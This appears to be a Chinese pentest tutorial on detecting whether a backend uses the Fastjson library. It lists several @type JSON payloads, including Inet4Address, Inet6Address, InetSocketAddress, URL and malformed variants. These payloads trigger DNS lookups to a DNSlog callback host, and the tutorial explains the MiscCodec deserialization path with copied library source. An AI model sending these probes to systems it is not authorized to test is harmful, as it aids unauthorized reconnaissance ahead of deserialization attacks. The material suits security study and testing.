Fastjson探测作用
在渗透测试中遇到json数据一般都会测试下有没有反序列化,然而JSON库有Fastjson,JackJson,Gson等等,那么怎么判断后端不是Fastjson呢?可以构造特定的payload来进行探测分析,下面介绍一些常用的payload,且这些Payload可以在AutoType关闭的情况下进行测试~~~
Fastjson探测方法
方法一:java.net.Inet4Address
请求方式
{"@type":"java.net.Inet4Address","val":"dnslog"}
请求测试
DNSLog响应
基础原理分析
Fastjson对于Inet4Address类会使用MiscCodec这个ObjectDeserializer来反序列化:
之后在MiscCodec的deserialze下断点进行调试分析:
之后跟进parse.parser,此处的parser为DefaultJSONParser:
之后跟进解析器:
之后再次跟进去看看字符串如何处理:
之后进行一次字符串的截取:
截取之后,截取到DNSlog域名信息:
之后将objVal赋值给strVal,其值为DNSLog域名:
之后会调用GetByName进行一次域名解析:
MiscCodec的deserialze函数代码如下所示:
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;
String className;
if (clazz == InetSocketAddress.class) {
if (lexer.token() == 8) {
lexer.nextToken();
return null;
} else {
parser.accept(12);
InetAddress address = null;
int port = 0;
while(true) {
className = lexer.stringVal();
lexer.nextToken(17);
if (className.equals("address")) {
parser.accept(17);
address = (InetAddress)parser.parseObject(InetAddress.class);
} else if (className.equals("port")) {
parser.accept(17);
if (lexer.token() != 2) {
throw new JSONException("port is not int");
}
port = lexer.intValue();
lexer.nextToken();
} else {
parser.accept(17);
parser.parse();
}
if (lexer.token() != 16) {
parser.accept(13);
return new InetSocketAddress(address, port);
}
lexer.nextToken();
}
}
} else {
Object objVal;
if (parser.resolveStatus == 2) {
parser.resolveStatus = 0;
parser.accept(16);
if (lexer.token() != 4) {
throw new JSONException("syntax error");
}
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
parser.accept(17);
objVal = parser.parse();
parser.accept(13);
} else {
objVal = parser.parse();
}
String strVal;
if (objVal == null) {
strVal = null;
} else {
if (!(objVal instanceof String)) {
if (objVal instanceof JSONObject) {
JSONObject jsonObject = (JSONObject)objVal;
if (clazz == Currency.class) {
String currency = jsonObject.getString("currency");
if (currency != null) {
return Currency.getInstance(currency);
}
String symbol = jsonObject.getString("currencyCode");
if (symbol != null) {
return Currency.getInstance(symbol);
}
}
if (clazz == Entry.class) {
return jsonObject.entrySet().iterator().next();
}
return jsonObject.toJavaObject(clazz);
}
throw new JSONException("expect string");
}
strVal = (String)objVal;
}
if (strVal != null && strVal.length() != 0) {
if (clazz == UUID.class) {
return UUID.fromString(strVal);
} else if (clazz == URI.class) {
return URI.create(strVal);
} else if (clazz == URL.class) {
try {
return new URL(strVal);
} catch (MalformedURLException var10) {
throw new JSONException("create url error", var10);
}
} else if (clazz == Pattern.class) {
return Pattern.compile(strVal);
} else if (clazz == Locale.class) {
return TypeUtils.toLocale(strVal);
} else if (clazz == SimpleDateFormat.class) {
SimpleDateFormat dateFormat = new SimpleDateFormat(strVal, lexer.getLocale());
dateFormat.setTimeZone(lexer.getTimeZone());
return dateFormat;
} else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {
if (clazz == File.class) {
if (strVal.indexOf("..") >= 0 && !FILE_RELATIVE_PATH_SUPPORT) {
throw new JSONException("file relative path not support.");
} else {
return new File(strVal);
}
} else if (clazz == TimeZone.class) {
return TimeZone.getTimeZone(strVal);
} else {
if (clazz instanceof ParameterizedType) {
ParameterizedType parmeterizedType = (ParameterizedType)clazz;
clazz = parmeterizedType.getRawType();
}
if (clazz == Class.class) {
return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader(), false);
} else if (clazz == Charset.class) {
return Charset.forName(strVal);
} else if (clazz == Currency.class) {
return Currency.getInstance(strVal);
} else if (clazz == JSONPath.class) {
return new JSONPath(strVal);
} else if (!(clazz instanceof Class)) {
throw new JSONException("MiscCodec not support " + clazz.toString());
} else {
className = ((Class)clazz).getName();
if (className.equals("java.nio.file.Path")) {
try {
if (method_paths_get == null && !method_paths_get_error) {
Class<?> paths = TypeUtils.loadClass("java.nio.file.Paths");
method_paths_get = paths.getMethod("get", String.class, String[].class);
}
if (method_paths_get != null) {
return method_paths_get.invoke((Object)null, strVal, new String[0]);
}
throw new JSONException("Path deserialize erorr");
} catch (NoSuchMethodException var12) {
method_paths_get_error = true;
} catch (IllegalAccessException var13) {
throw new JSONException("Path deserialize erorr", var13);
} catch (InvocationTargetException var14) {
throw new JSONException("Path deserialize erorr", var14);
}
}
throw new JSONException("MiscCodec not support " + className);
}
}
} else {
try {
return InetAddress.getByName(strVal);
} catch (UnknownHostException var11) {
throw new JSONException("deserialize inet adress error", var11);
}
}
} else {
return null;
}
}
}
方法二:java.net.Inet6Address
请求方式
{"@type":"java.net.Inet6Address","val":"dnslog"}
请求测试
DNSLog响应
基础原理分析
java.net.Inet6Address与java.net.Inet4Address类似,使用了MiscCodec这个ObjectDeserializer来反序列化,其余的内容就不再复述了~
方式三:java.net.InetSocketAddress
请求方式
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
请求测试
DNSLog响应
基础原理分析
java.net.InetSocketAddress与java.net.Inet4Address类似,会使用MiscCodec的ObjectDeserializer来反序列化,由于此处的畸形JSON请求数据在解析时会有两次进入deserialze(这与Fastjson的Token性质有关,从而导致解析的逻辑走向发生变化,有兴趣的可以了解一下)第一次进入是clazz为:java.net.InetJSONParser:
第二次时为java.net.InetAddress:
之后将objVal赋值给strVal:
最后触发DNS解析:
方式四:java.net.URL
请求方式
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
请求测试
DNSLog响应
其他方式使用示例
畸形方式1
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
请求测试:
DNSLog响应:
畸形方式2
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
请求方式:
DNSLog响应:
畸形方式3
Set[{"@type":"java.net.URL","val":"http://dnslog"}
请求方式:
DNSLog响应:
畸形方式4
{{"@type":"java.net.URL","val":"http://dnslog"}:0
请求方式:
DNSLog响应:
畸形方式5
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
请求方式:
DNSLog响应:
跟多新技巧等待你的解锁~
参考链接:https://github.com/alibaba/fastjson/issues/3077